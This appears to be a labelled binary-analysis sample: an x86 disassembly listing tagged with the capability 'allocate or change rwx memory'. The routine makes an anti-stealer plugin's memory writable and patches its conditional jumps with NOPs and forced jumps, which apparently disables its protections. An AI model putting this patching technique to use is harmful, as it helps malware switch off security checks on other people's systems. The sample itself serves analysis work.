Function at 0x100025cb
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0xe
pop ecx
mov esi, str._0AntiStealerByDarkP1xel.ASI
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [ebp - 0x40]
call fcn.1000221f
test eax, eax
je 0x100028c9
lea ecx, [ebp - 0x40]
call fcn.1000221f
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp - 0x48]
call fcn.10001f6c
mov dword [ebp - 0x54], eax
lea eax, [ebp - 0x44]
push eax
push 0x40
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 0x4c], 0
jmp 0x10002631
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x54]
sub eax, 9
cmp dword [ebp - 0x4c], eax
jae 0x100028c9
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
cmp eax, 0x75
jne 0x100026b4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 2]
cmp eax, 0x8b
jne 0x100026b4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x74
je 0x1000267d
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x77
jne 0x100026b4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 3]
cmp eax, 0x7d
jne 0x100026b4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 4]
cmp eax, 0x10
jne 0x100026b4
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax], 0x90
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax + 1], 0x90
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
cmp eax, 0x74
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x69
je 0x100026e4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x6c
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 2]
cmp eax, 0x83
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 3]
cmp eax, 0x7c
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 4]
cmp eax, 0x24
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 5]
cmp eax, 0x2c
jne 0x1000274a
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 6]
cmp eax, 8
jne 0x1000274a
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax], 0x90
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax + 1], 0x90
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
cmp eax, 0x74
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x54
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 2]
cmp eax, 0x83
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 3]
cmp eax, 0x7c
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 4]
cmp eax, 0x24
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 5]
cmp eax, 0x2c
jne 0x100027c3
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 6]
cmp eax, 8
jne 0x100027c3
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax], 0xeb
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
cmp eax, 0x74
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x57
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 2]
cmp eax, 0x83
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 3]
cmp eax, 0x7c
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 4]
cmp eax, 0x24
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 5]
cmp eax, 0x4c
jne 0x1000283c
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 6]
cmp eax, 8
jne 0x1000283c
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax], 0xeb
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax]
cmp eax, 0x74
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 2]
cmp eax, 0x83
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x50
je 0x10002879
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 1]
cmp eax, 0x50
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 3]
cmp eax, 0x7c
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 4]
cmp eax, 0x24
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 5]
cmp eax, 0x24
jne 0x100028c4
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x4c]
movzx eax, byte [eax + 6]
cmp eax, 8
jne 0x100028c4
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x50]
mov byte [eax], 0xeb
jmp 0x1000262a
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000b214
leave
ret